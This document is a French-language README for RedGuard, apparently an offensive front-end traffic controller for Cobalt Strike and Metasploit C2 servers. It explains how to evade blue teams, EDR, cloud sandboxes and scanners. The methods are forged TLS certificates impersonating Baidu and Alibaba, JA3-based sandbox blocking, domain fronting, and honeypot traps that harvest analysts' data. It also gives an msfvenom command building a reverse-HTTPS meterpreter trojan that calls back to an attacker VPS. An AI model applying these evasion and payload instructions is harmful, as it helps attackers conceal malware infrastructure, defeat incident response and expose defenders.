RedGuard
RedGuard 24.06.18
Anglais | 中文文档
RedGuard, un outil dérivé basé sur la technologie de contrôle de flux frontal de commande et de contrôle (C2), présente une conception plus légère, une interaction de trafic efficace et une compatibilité fiable avec le développement dans le langage de programmation go. Alors que les cyberattaques évoluent constamment, l'équipe rouge et bleue Les exercices deviennent progressivement plus complexes, RedGuard est conçu pour fournir une meilleure solution de masquage du canal C2 à l'équipe rouge, qui assure le contrôle du flux pour le canal C2, bloque le trafic d'analyse « malveillant » et complète mieux l'ensemble de la tâche d'attaque.
RedGuard est un outil de contrôle de flux frontal C2 qui peut éviter les détections de Blue Team, AVS, EDR et Cyberspace Search Engine.
Vous pouvez directement télécharger et utiliser la version compilée, ou vous pouvez télécharger le package go à distance pour une compilation et une exécution indépendantes.
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
# You can also use upx to compress the compiled file size
go build -ldflags " -s -w " -trimpath
# Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard && ./RedGuard
Comme le montre la figure ci-dessous, définissez les autorisations des exécutables et initialisez RedGuard. La première exécution générera un fichier de configuration dans le répertoire personnel de l'utilisateur actuel pour obtenir une configuration flexible des fonctions. Nom du fichier de configuration : .RedGuard_CobaltStrike.ini .
Contenu du fichier de configuration :
Les options de configuration de cert concernent principalement les informations de configuration de la communication HTTPS cryptée par certificat SSL entre l'échantillon et l'infrastructure frontale C2. Le proxy est principalement utilisé pour configurer les options de contrôle dans le trafic du proxy inverse. L'utilisation spécifique sera expliquée en détail ci-dessous.
La communication HTTPS cryptée par le certificat SSL sera générée dans le répertoire cert-rsa/ sous le répertoire où RedGuard est exécuté. Vous pouvez démarrer et arrêter les fonctions de base de l'outil en modifiant le fichier de configuration (le numéro de série du certificat est généré en fonction de l'horodatage, ne vous inquiétez pas d'être associé à cette fonctionnalité) . Si vous souhaitez utiliser votre propre certificat , Renommez-les simplement en ca.crt et ca.key.
openssl x509 -in ca.crt -noout -text
Les empreintes digitales TLS JARM aléatoires sont mises à jour à chaque démarrage de RedGuard pour empêcher leur utilisation pour authentifier l'infrastructure C2.
Dans le cas de l'utilisation de votre propre certificat, modifiez le paramètre HasCert dans le fichier de configuration sur true pour éviter les problèmes de communication normaux causés par l'incompatibilité de la suite de chiffrement CipherSuites avec le certificat personnalisé provoqué par la randomisation de l'obscurcissement JARM.
# Whether to use the certificate you have applied for true/false
HasCert = falseLors du déploiement d'un front de domaine pour masquer le trafic C2, le nom de domaine accéléré ne dispose pas d'informations de certificat HTTPS par défaut. Ceci est évidemment problématique, vous devez donc faire attention à la configuration du certificat lors de la configuration du nom de domaine. Il s'agit également de la base par défaut pour déterminer si l'échantillon correspond au trafic frontal du domaine.
[^Tencent Cloud] : Configuration du certificat du réseau de diffusion de contenu
Je pense que tout le monde se posera des questions après avoir lu ceci : Comment obtenir le certificat configuré ? Si vous utilisez votre propre application pour le certificat, celle-ci ne produira pas l'effet d'anonymat que nous attendons. Ici, vous pouvez utiliser le certificat cloné pour la configuration. En prenant Tencent Cloud comme exemple, il a été constaté lors du test qu'il ne vérifierait pas la validité du certificat personnalisé téléchargé. Nous pouvons utiliser le même certificat que le site réel du nom de domaine accéléré pour le falsifier. Bien que le faux certificat ne puisse pas communiquer lors du remplacement du certificat par défaut de CS dans des circonstances normales, il ne vérifiera pas la validité une fois déployé sur l'accélération du site complet du fournisseur de services cloud CDN et RedGuard, et le trafic interactif C2 peut communiquer normalement.
Voici l'adresse du projet existant sur Github
https://github.com/virusdefender/copy-certBien que le certificat côté trafic frontal de l'exemple de domaine ait été résolu, du point de vue du mappage réseau à grande échelle, notre serveur C2 est toujours exposé au monde extérieur et peut toujours être détecté et associé au véritable serveur C2. . À l’heure actuelle, RedGuard peut être utilisé pour modifier le certificat par défaut de C2 afin d’obtenir l’anonymat.
[^informations de renseignement] : certificats TLS
Ce qui précède est l'effet du faux certificat du serveur C2. On voit qu’il est crédible et n’a pas expiré dans les renseignements de la communauté Threatbook. Le principal moyen d’obtenir le certificat numérique est de l’extraire et de le mettre à jour en temps réel lors de l’analyse des échantillons dans le sandbox cloud, mais il n’est évidemment pas vérifié efficacement. La valeur d'état vérifie uniquement le délai d'expiration. La vérification de la confiance du certificat doit uniquement être basée sur la possibilité d'établir une communication normale.
Il convient de noter que les renseignements de Threatbook ne marquent pas les adresses SNI et HOST des exemples de requêtes avec les renseignements sur les certificats. Il s’agit en fait d’éviter les faux positifs. Je pense que c'est correct. En tant que base importante pour aider les chercheurs dans l'analyse, il vaut mieux que les renseignements sur les menaces soient incomplets plutôt que d'indiquer la mauvaise direction, ce qui entraînerait une erreur d'appréciation dans l'analyse ultérieure. Si configurer des certificats pour l'accélération de l'ensemble du site consiste à forger des certificats pour le trafic de communication, alors configurer le certificat de pré-réponse de RedGuard C2 consiste à forger les caractéristiques comportementales du véritable serveur C2 déployé sur le réseau public pour obtenir des effets anti-cartographie, ce qui est très nécessaire.
Extrayez le numéro de série du certificat : 55e6acaed1f8a430f9a938c5 et effectuez un encodage HEX pour obtenir l'empreinte digitale du certificat TLS : 26585094245224241434632730821
| IP | Port | Protocole | Service | Pays | Ville | Titre | Temps |
|---|---|---|---|---|---|---|---|
| 103.211.xx.90 | 443 | https | Apache httpd | Chine | Suzhou | 百度图片-发现多彩世界 | 2023-08-28 |
| 223.113.xx.207 | 443 | https | JSP3 | Chine | Xuzhou | 403 Interdit | 2023-08-28 |
| 223.112.xx.48 | 443 | https | JSP3 | Chine | Xuzhou | 403 Interdit | 2023-08-28 |
| 223.113.xx.40 | 443 | https | JSP3 | Chine | Xuzhou | 403 Interdit | 2023-08-28 |
| 223.113.xx.31 | 443 | https | JSP3 | Chine | 405 Non autorisé | 2023-08-28 | |
| 223.113.xx.206 | 443 | https | JSP3 | Chine | Xuzhou | 403 Interdit | 2023-08-28 |
Montant du résultat de la recherche : 2291
Grâce à la cartographie du cyberespace, 2 291 adresses IP indépendantes ont été découvertes et la vérification a confirmé qu'elles possédaient toutes des certificats TLS appartenant à Baidu. Il est difficile de déterminer s’il s’agit d’une communication malveillante en se basant uniquement sur le trafic de communication. Cependant, les certificats TLS pour les installations de trafic frontal de domaine + C2 ont été falsifiés, interférant avec succès avec la cartographie spatiale et les renseignements sur les menaces, provoquant une association d'informations incorrecte, rendant les caractéristiques du trafic de l'attaquant plus réalistes et atteignant l'objectif de forger des informations normales. trafic de communication.
Même s'il n'y a pas de traitement de transfert caché avant l'installation frontale du trafic C2, il est préférable de modifier le certificat pour RedGuard. Par défaut, toute bibliothèque d'empreintes digitales formée par l'identification d'empreintes digitales de composants communs actuellement utilisée dans la cartographie du cyberespace utilise le comportement des caractéristiques de configuration par défaut des composants communs pour l'identification. Différents groupes peuvent présenter différentes caractéristiques uniques au cours de ces processus de personnalisation. Bien entendu, la formation d'empreintes digitales nécessite une certaine compréhension du composant cible, de manière à extraire les caractéristiques par défaut de la cible et former une empreinte digitale associée. Ici, les caractéristiques comportementales du certificat RG sont utilisées pour la cartographie du cyberespace, qui est associé à un grand nombre de nœuds RG déployés sur le réseau public.
Il n'est pas surprenant que l'auteur ait pu extraire l'empreinte digitale, mais il est néanmoins recommandé aux utilisateurs de RedGuard de modifier les informations du certificat par défaut et d'être un pirate informatique professionnel :)
root@VM-4-13-ubuntu: ~ # ./RedGuard -h
Usage of ./RedGuard:
-DelHeader string
Customize the header to be deleted
-DropAction string
RedGuard interception action (default " redirect " )
-EdgeHost string
Set Edge Host Communication Domain (default " * " )
-EdgeTarget string
Set Edge Host Proxy Target (default " * " )
-FieldFinger string
Set HTTP Header identification field Info
-FieldName string
Set the name of the HTTP Header identification field
-HasCert string
Whether to use the certificate you have applied for (default " true " )
-allowIP string
Proxy Requests Allow IP (default " * " )
-allowLocation string
Proxy Requests Allow Location (default " * " )
-allowTime string
Proxy Requests Allow Time (default " * " )
-common string
Cert CommonName (default " *.aliyun.com " )
-config string
Set Config Path
-country string
Cert Country (default " CN " )
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default " :80 " )
-https string
Set Proxy HTTPS Port (default " :443 " )
-ip string
IPLookUP IP
-locality string
Cert Locality (default " HangZhou " )
-location string
IPLookUP Location (default "风起" )
-malleable string
Set Proxy Requests Filter Malleable File (default " * " )
-organization string
Cert Organization (default " Alibaba (China) Technology Co., Ltd. " )
-redirect string
Proxy redirect URL (default " https://360.net " )
-type string
C2 Server Type (default " CobaltStrike " )
-u Enable configuration file modificationPS Vous pouvez utiliser la commande paramètre pour modifier le fichier de configuration. Bien sûr, je pense qu'il peut être plus pratique de le modifier manuellement avec vim.
Si vous accédez directement au port du proxy inverse, la règle d'interception sera déclenchée. Ici, vous pouvez voir le répertoire racine de la demande du client via le journal de sortie, mais comme la demande ne contient pas les informations d'identification demandées qui constituent l'en-tête de demande HOST correct, la règle d'interception de base est déclenchée et le trafic est redirigé vers https:/ /360.net
Voici juste une démonstration du résultat, l'utilisation réelle peut être exécutée en arrière-plan via nohup ./RedGuard & .
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }Il n'est pas difficile de voir dans la tranche ci-dessus que 360.net est proxy vers le port local 8080, 360.com est proxy vers le port local 4433 et que le protocole HTTP utilisé est également différent. En utilisation réelle, il faut faire attention au type de protocole de l'auditeur. Conformément aux paramètres ici, définissez l'en-tête de requête HOST correspondant.
Comme le montre la figure ci-dessus, en cas d'accès non autorisé, les informations de réponse que nous obtenons sont également les informations de retour du site redirigé.
Dans le cas d'interception de base ci-dessus, la méthode d'interception par défaut est utilisée, le trafic illégal est intercepté par redirection. En modifiant le fichier de configuration, nous pouvons changer la méthode d'interception et l'URL du site redirigé. En fait, plutôt que d'appeler cela une redirection, je pense qu'il pourrait être plus approprié de le décrire comme un piratage, un clonage, puisque le code d'état de la réponse renvoyé est 200 et que la réponse est obtenue à partir d'un autre site Web pour imiter le site Web cloné/piraté comme suit. le plus près possible.
Les paquets invalides peuvent être incorrectement acheminés selon trois stratégies :
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://360.net Redirect = URL dans le fichier de configuration pointe vers l'adresse URL piratée. RedGuard prend en charge le "hot change", ce qui signifie que pendant que l'outil s'exécute en arrière-plan via nohup , nous pouvons toujours modifier le fichier de configuration. Le contenu est démarré et arrêté en temps réel.
./RedGuard -u --drop true Notez que lors de la modification du fichier de configuration via la ligne de commande, l'option -u ne doit pas manquer, sinon le fichier de configuration ne pourra pas être modifié avec succès. Si vous devez restaurer les paramètres du fichier de configuration par défaut, il vous suffit de saisir ./RedGuard -u .
Une autre méthode d'interception est DROP, qui ferme directement la réponse de communication HTTP et est activée en définissant DROP = true . L'effet spécifique de l'interception est le suivant :
On peut voir que le contrôle de flux frontal C2 ferme directement la réponse aux requêtes illégales sans le code de réponse HTTP. Lors de la détection de la cartographie du cyberespace, la méthode DROP peut masquer l'ouverture des ports. L’effet spécifique peut être observé dans le cas suivant. analyser.
Je pense que de nombreux utilisateurs seront intéressés par une réponse détournée . Le principe général est que lorsque le client initie une requête au serveur C2 réel, puisqu'il ne respecte pas les règles entrantes, le serveur C2 obtiendra le site normal spécifié et renverra ses informations de réponse. Par conséquent, du point de vue de la demande d'effet, il semble interagir avec le service IP, mais en fait, le serveur intermédiaire C2 est utilisé comme serveur proxy pour interagir avec le site normal, et il est difficile de trouver des anomalies. S'il répond à la demande entrante, la demande de trafic sera transmise au véritable port d'écoute du service C2 pour interaction, et le véritable port d'écoute a été filtré par le pare-feu cloud, autorisant uniquement l'accès local, et il ne peut pas être directement accessible de l'extérieur. . Donc du point de vue de l'ouverture du port externe, seul le port HTTP/S est ouvert, et dans un sens, il s'agit bien du port en ligne de C2.
[^Diagramme de flux de trafic] : processus d'interaction du trafic du serveur C2
Dans les données de cartographie du cyberespace, le code de réponse du port ouvert HTTP/S de l'IP est 200, et non un saut 307, ce qui est plus authentique.
Le certificat HTTPS a le même effet que le faux certificat mentionné ci-dessus, et les deux sont des empreintes digitales de vrais certificats.
Je pense que de nombreuses équipes rouges utiliseront largement des méthodes de dissimulation telles que les fonctions cloud/fronting de domaine dans le processus de lutte contre les projets. Cependant, dans la confrontation offensive et défensive d'aujourd'hui, les deux méthodes de dissimulation ci-dessus ont un problème fatal, c'est-à-dire qu'elles peuvent se connecter directement au service C2. Le résultat est sans aucun doute que lorsque nous saisissons l'adresse de la fonction cloud ou l'IP/HOST interactif du domaine fronting, nous pouvons accéder directement au service d'écoute C2 et prouver qu'il s'agit d'un outil d'attaque.
Étant donné que le trafic peut atteindre directement C2, il convient de déterminer si le dispositif de sécurité peut effectuer une analyse CS sur le trafic qui ne correspond pas au SNI et à l'HOST afin d'identifier s'il s'agit d'un trafic malveillant. Il en va de même pour les fonctions cloud ou les environnements sandbox. En plus du côté échantillon, il peut également y avoir des processus d’analyse davantage au niveau du trafic.
Après la réponse au piratage, l'accès direct au service HTTP peut interagir normalement avec le site Web, mais Cscan ne peut pas analyser les exemples d'informations car le trafic ne peut pas atteindre le véritable auditeur C2. L'interaction C2 normale n'est possible que lorsque les caractéristiques d'initiation du trafic sont remplies. Cependant, il y a un problème. Le script d'analyse C2 doit être conforme aux règles entrantes, ce qui met à l'épreuve la capacité de codage des analystes de l'équipe bleue. Le script d'analyse actuellement public se présente sous la forme de Nmap.
JA3 fournit une empreinte digitale plus reconnaissable pour les communications cryptées entre clients et serveurs. Il utilise les empreintes digitales TLS pour identifier les négociations TLS entre les clients et les serveurs malveillants, obtenant ainsi l'effet d'associer des clients malveillants. Cette empreinte digitale est facile à générer sur n’importe quelle plateforme utilisant le cryptage MD5 et est actuellement largement utilisée dans le renseignement sur les menaces. Par exemple, on peut le voir dans les rapports d’analyse d’échantillons de certains bacs à sable pour prouver la corrélation entre différents échantillons.
Si l'on parvient à maîtriser le JA3(S) du serveur C2 et le client malveillant, même si le trafic est crypté et que l'adresse IP ou le nom de domaine du serveur C2 est inconnu, on peut toujours identifier la négociation TLS entre le client malveillant et le serveur via les empreintes digitales TLS. Je pense que tout le monde peut y penser après avoir vu cela, qui est également une mesure pour gérer les méthodes de dissimulation du transfert de trafic telles que le fronting de domaine, le proxy inverse et la fonction cloud. Grâce à l'identification des échantillons d'exécution du bac à sable et à la négociation TLS de la communication C2, vous pouvez générer des empreintes digitales JA3(S), qui peuvent être appliquées aux renseignements sur les menaces pour obtenir un traçage auxiliaire.
J'ai annoncé cette technologie en 2022. Lors du test de l'environnement sandbox micro-step, j'ai constaté que même si le nombre d'adresses IP de sortie demandant une interaction était faible, il n'était pas précis d'identifier le bac à sable par IP, et c'était une fonctionnalité qui était facilement modifiable. , mais son empreinte JA3 était unique dans le même environnement système. Plus tard, j'ai reçu des informations indiquant que le bac à sable avait terminé la randomisation des empreintes digitales, mais des tests récents ont révélé qu'il n'était pas entièrement implémenté. J'espère toujours pouvoir faire face au problème des empreintes digitales du côté de la circulation.
Du point de vue du sandbox cloud, en surveillant l'interaction du trafic entre l'échantillon et le serveur C2, l'empreinte digitale JA3(S) est générée pour identifier le client malveillant et ainsi établir une association. En pensant à l'envers, en tant qu'installation de contrôle du trafic devant C2, nous pouvons également effectuer de telles opérations pour obtenir l'empreinte digitale JA3 de la demande du client. En déboguant différents environnements sandbox, ces empreintes digitales JA3 sont obtenues pour former une bibliothèque d'empreintes digitales, formant ainsi une stratégie d'interception de base.
Imaginez que lors du processus d'interaction par étapes avec un cheval de Troie, le chargeur extraie d'abord le shellcode de l'adresse distante. Ensuite, lorsque le trafic identifie que la requête répond aux caractéristiques du cloud sandbox de la bibliothèque d'empreintes digitales JA3, il intercepte les requêtes suivantes. Si le shellcode ne peut pas être obtenu, l'ensemble du processus de chargement ne peut pas être terminé et le bac à sable ne peut naturellement pas l'analyser complètement. Si l'environnement est un cheval de Troie sans étape, l'analyse sandbox ne pourra pas non plus être finalement téléchargée sur le serveur C2. Je crois que tout le monde s'est réveillé d'un sommeil et a trouvé de nombreux disques de bac à sable de longue date accrochés au C2. Bien entendu, dans un état idéal, nous pouvons identifier différents environnements sandbox, qui dépendent principalement de la fiabilité de la bibliothèque d’empreintes digitales.
Au cours du test, j'ai découvert qu'après avoir ajouté l'empreinte digitale JA3 de la bibliothèque de requêtes de langage ZoomEye GO à la bibliothèque d'empreintes digitales et surveillé le trafic des requêtes RG, la plupart des requêtes déclenchaient l'interception de base de la fonctionnalité de bibliothèque d'empreintes digitales JA3. Ici, je suppose que le langage sous-jacent du produit d'arpentage et de cartographie fait partie de la tâche d'analyse implémentée dans le langage GO. Grâce à un lien, la logique d'analyse composée de différents langages sous-jacents a finalement complété l'intégralité de la tâche d'analyse. Cela explique également pourquoi l'analyse de certains produits d'arpentage et de cartographie a déclenché la fonction d'interception d'empreintes digitales JA3 de la bibliothèque de requêtes du langage GO. Le principe de la règle de reconnaissance est le même que celui de l’empreinte digitale du cloud sandbox. Les deux utilisent le caractère unique de l’environnement client de requête et de la bibliothèque de requêtes. Contrairement au côté PC, l'environnement de demande de ces produits ne sera fondamentalement pas modifié à volonté, ce qui nous permet également de saisir et d'intercepter son empreinte digitale côté trafic , pouvons-nous donc nous demander si le dispositif de sécurité peut utiliser l'empreinte digitale JA3 de la détection active trafic comme base d’interception ? Bien entendu, lorsque le trafic professionnel est important, il peut y avoir un certain nombre de fausses alarmes. Ici, nous proposons uniquement des exigences de produit théoriquement réalisables.
Les utilisateurs PS peuvent également télécharger des échantillons dans le bac à sable pour obtenir et vérifier leurs empreintes digitales JA3 et les ajouter à la bibliothèque d'empreintes digitales. Il convient de noter que cela n'a aucun sens si le bac à sable modifie uniquement l'empreinte digitale JA3 et non l'empreinte digitale ci-dessus. Ce qu'il faut vraiment résoudre, c'est que chaque fois que le bac à sable effectue une analyse dynamique, ce n'est pas la même empreinte digitale et ses modifications doivent répondre aux exigences de ne pas se répéter autant que possible. Si le taux de répétition est élevé, elle sera quand même utilisée comme empreinte digitale.
Prend actuellement en charge l'identification et l'interception du bac à sable cloud du livre de menaces à titre de démonstration d'effet.
La configuration des deux paramètres suivants dans le fichier de configuration réalise l'effet de la modification du port proxy inverse. Il est recommandé d'utiliser le masquage de port par défaut tant qu'il n'entre pas en conflit avec le port actuel du serveur. S'il doit être modifié, alors faites attention au : de la valeur du paramètre à ne pas manquer
# HTTPS Reverse proxy port
Port_HTTPS = :443
# HTTP Reverse proxy port
Port_HTTP = :80Le comportement de traçage de l'équipe bleue est analysé via le journal d'interception de la requête cible, qui peut être utilisé pour suivre les événements/problèmes de connexion homologues. Le fichier journal est généré dans le répertoire où RedGuard est exécuté, nom de fichier : RedGuard.log .
Cette section décrit comment configurer RG pour obtenir la véritable adresse IP d'une requête. Il vous suffit d'ajouter la configuration suivante au profil de l'appareil C2, la véritable adresse IP de la cible est obtenue via l'en-tête de requête X-Forwarded-For.
http-config {
set trust_x_forwarded_for " true " ;
} La méthode de configuration prend AllowLocation = Jinan, Beijing comme exemple. Notez que RedGuard fournit deux API pour l'attribution IP inversée, une pour les utilisateurs en Chine continentale et l'autre pour les utilisateurs en Chine non continentale, et peut attribuer dynamiquement quelle API utiliser en fonction du nom de domaine géographique saisi, si la cible est la Chine. utilisez le chinois pour la région définie, sinon utilisez des noms de lieux en anglais. Il est recommandé aux utilisateurs de Chine continentale d'utiliser des noms chinois, afin que la précision de l'attribution et la vitesse de réponse de l'API obtenue par requête inverse soient les meilleurs choix.
Utilisateurs PS de Chine continentale, n'utilisez pas AllowLocation = Jinan, pékin de cette façon ! Cela n'a pas beaucoup de sens, le premier caractère de la valeur du paramètre détermine quelle API utiliser !
# IP address owning restrictions example:AllowLocation = 山东，上海，杭州 or shanghai,beijing
AllowLocation = * 
Avant de décider de restreindre la région, vous pouvez interroger manuellement l'adresse IP à l'aide de la commande suivante.
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to queryIci, nous avons décidé d'autoriser uniquement la région du Shandong à se connecter
Trafic légal :
Zone de demande illégale :
Concernant les liens entre restrictions géographiques, cela pourrait être plus pratique dans l’exercice offensif et défensif actuel. Fondamentalement, les cibles des restrictions provinciales et municipales sur les exercices offensifs et défensifs se trouvent dans des zones désignées, et la circulation demandée par d'autres zones peut naturellement être ignorée. Cette fonction de RedGuard peut non seulement limiter une seule région, mais également limiter plusieurs régions de connexion selon les provinces et les villes, et intercepter le trafic demandé par d'autres régions.
En plus de la liste noire IP intégrée des fournisseurs de cybersécurité dans RedGuard, nous pouvons également restreindre selon la méthode de la liste blanche. En fait, je suggère également que lors de la pénétration du Web, nous puissions restreindre les adresses IP en ligne en fonction de la liste blanche afin de diviser plusieurs adresses IP.
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1
Comme le montre la figure ci-dessus, nous limitons l'autorisation aux seules connexions 127.0.0.1, le trafic de requêtes des autres IP sera alors bloqué.
Cette fonction est plus intéressante. La définition des valeurs de paramètres suivantes dans le fichier de configuration signifie que l'installation de contrôle du trafic ne peut se connecter que de 8h00 à 21h00. Le scénario d'application spécifique ici est que pendant le temps d'attaque spécifié, nous autorisons la communication avec C2 et restons silencieux à d'autres moments. Cela permet également aux équipes rouges de passer une bonne nuit de sommeil sans craindre qu'une équipe bleue en service la nuit ne s'ennuie pour analyser votre cheval de Troie et se réveille ensuite avec quelque chose d'indescriptible, hahaha.
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuard utilise le profil Malleable C2. Il analyse la section du fichier de configuration extensible fournie pour comprendre le contrat et transmettre uniquement les demandes entrantes qui le satisfont, tout en trompant les autres demandes. Des éléments tels que http-stager , http-get et http-post et leurs uris, en-têtes, User-Agent, etc. correspondants sont utilisés pour distinguer les demandes de balises légales du bruit Internet non pertinent ou des paquets IR/AV/EDR hors limites.
# C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile
Il est recommandé d'utiliser le profil rédigé par 风起 :
https://github.com/wikiZ/CobaltStrike-Malleable-Profile
Dans Cobalt Strike 4.7+, Teamserver supprime automatiquement l'en-tête Content-Encoding sans aucune notification, provoquant potentiellement une violation malléable http-(get|post).server. De plus, s'il n'y a pas de type de contenu dans le message de réponse du serveur CS, mais après avoir été transmis par RedGuard, le type de contenu est ajouté à l'en-tête du message de réponse, ce qui oblige cf à mettre la page en cache et provoque des interférences.
Après RedGuard 23.08.21, la fonction de personnalisation de l'en-tête du paquet de réponse a été ajoutée. Les utilisateurs peuvent personnaliser et supprimer les informations d'en-tête dans le paquet de réponse en modifiant le fichier de configuration pour résoudre le problème d'une analyse incorrecte.
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-EncodingRedGuard 23.05.13 a mis à jour la fonction de reconnaissance d'empreintes digitales d'échantillon de cheval de Troie, qui est basée sur la personnalisation du champ d'en-tête HTTP du profil malléable en tant que « valeur de sel d'échantillon » d'empreinte digitale pour identifier de manière unique le même auditeur C2 /hôte d'en-tête. De plus, l'empreinte digitale de l'échantillon de cheval de Troie générée en combinant d'autres champs de requête pertinents peut être utilisée pour détecter la vivacité de l'échantillon personnalisé. Selon les exigences de la tâche de l'attaquant, la fonction de reconnaissance d'empreintes digitales d'échantillons de chevaux de Troie peut effectuer des « opérations hors ligne » sur les échantillons que vous souhaitez désactiver, afin de mieux échapper à l'analyse du trafic malveillant de l'échantillon de communication et à l'analyse d'acquisition de charge utile d'attaque PAYLOAD d'échantillons par étapes, et fournir plus mesures de furtivité personnalisées pour l'attaquant.
Pour différents écouteurs C2, nous pouvons donner différents alias aux configurations du profil malléable, personnaliser les noms de champs et les valeurs des en-têtes associés comme valeur de sel d'échantillon et l'utiliser comme l'une des distinctions entre les différents échantillons. Le code suivant est présenté à des fins d'illustration et, dans des scénarios d'attaque et de défense réels, nous pouvons utiliser des champs de paquets de requête HTTP plus réalistes comme base de jugement.
http-get " listen2 " {
set uri " /image.gif " ;
client {
header " Accept-Finger " " 866e5289337ab033f89bc57c5274c7ca " ; //Custom HTTP Header and Value
metadata {
print
}
}
}Trafic HTTP
Comme le montre la figure, nous utilisons l'exemple de valeur Salt et le champ Host ci-dessus comme base pour la génération d'empreintes digitales. Ici, nous savons:
En épissant les valeurs ci-dessus, l'échantillon d'empreinte digitale est obtenu comme suit :
22e6db08c5ef1889d64103a290ac145cMaintenant que nous connaissons l'exemple d'empreinte digitale ci-dessus, nous pouvons définir le champ d'en-tête personnalisé et l'exemple d'empreinte digitale dans le fichier de configuration RedGuard pour l'interception du trafic malveillant. Il convient de noter que nous pouvons étendre plusieurs échantillons d'empreintes digitales, séparés par des virgules, et que le FieldName doit être cohérent avec le nom du champ d'en-tête configuré dans le profil malléable.
Le fichier de configuration de RedGuard étant une configuration à chaud, nous n'avons pas besoin de redémarrer RedGuard pour intercepter les échantillons que nous souhaitons désactiver. Lorsque nous voulons que l'échantillon soit réactivé, il nous suffit de supprimer l'empreinte digitale de l'échantillon concerné du fichier de configuration RedGuard.
Effet de démonstration :
S'il y a un problème avec la méthode ci-dessus, le serveur C2 en ligne réel ne peut pas être directement intercepté par le pare-feu, car la demande d'équilibrage de charge réelle dans le proxy inverse est effectuée par l'adresse IP du fabricant du serveur cloud.
En combat singulier, nous pouvons définir des règles d'interception sur le pare-feu du serveur cloud.
Définissez ensuite l'adresse pointée par le proxy sur https://127.0.0.1:4433.
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }Et comme notre vérification de base est basée sur l'en-tête de requête HTTP HOST, ce que nous voyons dans le trafic HTTP est également le même que la méthode de fronting de domaine, mais le coût est inférieur et un seul serveur cloud est nécessaire.
Pour les paramètres de l'écouteur, le HTTPS Port (C2) est défini sur le port du proxy inverse RedGuard et le HTTPS Port (Bind) est le port de connexion réel de la machine locale.
Génère un cheval de Troie
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~ /path/to/payload.exeBien sûr, en tant que scénario de frontage de domaine, vous pouvez également configurer votre LHOST pour utiliser n'importe quel nom de domaine du CDN du fabricant, et faire attention à configurer le HttpHostHeader pour qu'il corresponde à RedGuard.
setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true Il est important de noter que le paramètre OverrideRequestHost doit être défini sur true . Cela est dû à une fonctionnalité dans la manière dont Metasploit gère les requêtes HTTP/S entrantes par défaut lors de la génération de la configuration pour les charges utiles intermédiaires. Par défaut, Metasploit utilise la valeur d'en-tête Host de la requête entrante (si présente) pour la configuration de deuxième étape au lieu du paramètre LHOST . Par conséquent, l'étape de construction est configurée pour envoyer des requêtes directement à votre nom de domaine masqué, car CloudFront transmet votre domaine interne dans l'en-tête Host des requêtes transférées. Ce n’est clairement pas ce que nous demandons. En utilisant la valeur de configuration OverrideRequestHost , nous pouvons forcer Metasploit à ignorer l'en-tête Host entrant et à utiliser à la place la valeur de configuration LHOST pointant vers le domaine CloudFront d'origine.
L'écouteur est défini sur le port de ligne réel qui correspond à l'adresse vers laquelle RedGuard transmet réellement.
RedGuard a reçu la demande :
Comme le montre la figure ci-dessous, lorsque notre règle d'interception est définie sur DROP, la sonde du système de cartographie spatiale sondera plusieurs fois le répertoire / de notre port proxy inverse. En théorie, le paquet de requête envoyé par mappage est simulé comme du trafic normal, comme indiqué. Mais après plusieurs tentatives, comme la signature du paquet de requête ne répond pas aux exigences de publication de RedGuard, elles reçoivent toutes une réponse par Close HTTP. Le dernier effet affiché sur la plateforme d'arpentage et de cartographie est que le port du proxy inverse n'est pas ouvert.
Le trafic illustré dans la figure ci-dessous signifie que lorsque la règle d'interception est définie sur Redirection, nous constaterons que lorsque la sonde de mappage recevra une réponse, elle continuera à analyser notre répertoire. L'agent utilisateur est aléatoire, ce qui semble être conforme aux demandes de trafic normales, mais les deux ont été bloqués avec succès.
Plateforme de cartographie - Effet du mode d'interception de réponse Hijack :
Plateforme d'arpentage et de cartographie - effet de l'interception de redirection :
RedGuard prend en charge la façade de domaine. À mon avis, il existe deux formes de présentation. La première consiste à utiliser la méthode traditionnelle de fronting de domaine, qui peut être obtenue en définissant le port de notre proxy inverse dans l'adresse d'accélération de retour à l'origine à l'échelle du site. Sur la base originale, la fonction de contrôle du trafic est ajoutée au domaine fronting, et elle peut être redirigée vers l'URL spécifiée en fonction du paramètre que nous avons défini pour la rendre plus réelle. Il convient de noter que le paramètre RedGuard de l'en-tête hôte HTTPS doit être cohérent avec le nom de domaine de l'accélération à l'échelle du site.
En combat unique, je suggère que la méthode ci-dessus peut être utilisée, et dans les tâches d'équipe, elle peut également être réalisée par "Fonting de domaine" auto-construit.
Dans le cadre du domaine auto-construit, gardez cohérent plusieurs ports proxy inverses et l'en-tête hôte pointe systématiquement le port d'écoute du serveur C2 réel du backend. De cette façon, notre vrai serveur C2 peut être bien caché, et le serveur du proxy inversé ne peut ouvrir le port proxy qu'en configurant le pare-feu.
Cela peut être réalisé via plusieurs serveurs de nœuds et configurer plusieurs IP de nos nœuds dans l'IP en ligne HTTPS en ligne HTTPS CS auditeur.
Le principe du piégeage de la pot de miel malveillant repose principalement sur la réponse de réponse ou la fonction de redirection de RG Traffic Guidance, qui guide les analystes qui évaluent les installations C2 à l'adresse du bac à sable de la pot de miel. Dans l'état de réponse de détournement, RG demandera à la demande du trafic qui ne respecte pas les règles entrantes des actifs du pot de miel. Lorsque vous rencontrez des pots de miel plus puissants (tels que ceux qui capturent les numéros de téléphone portable de l'opérateur), le client lancera une demande en fonction de la réponse du site cible et sera détourné par JSONP pour obtenir des informations pertinentes.
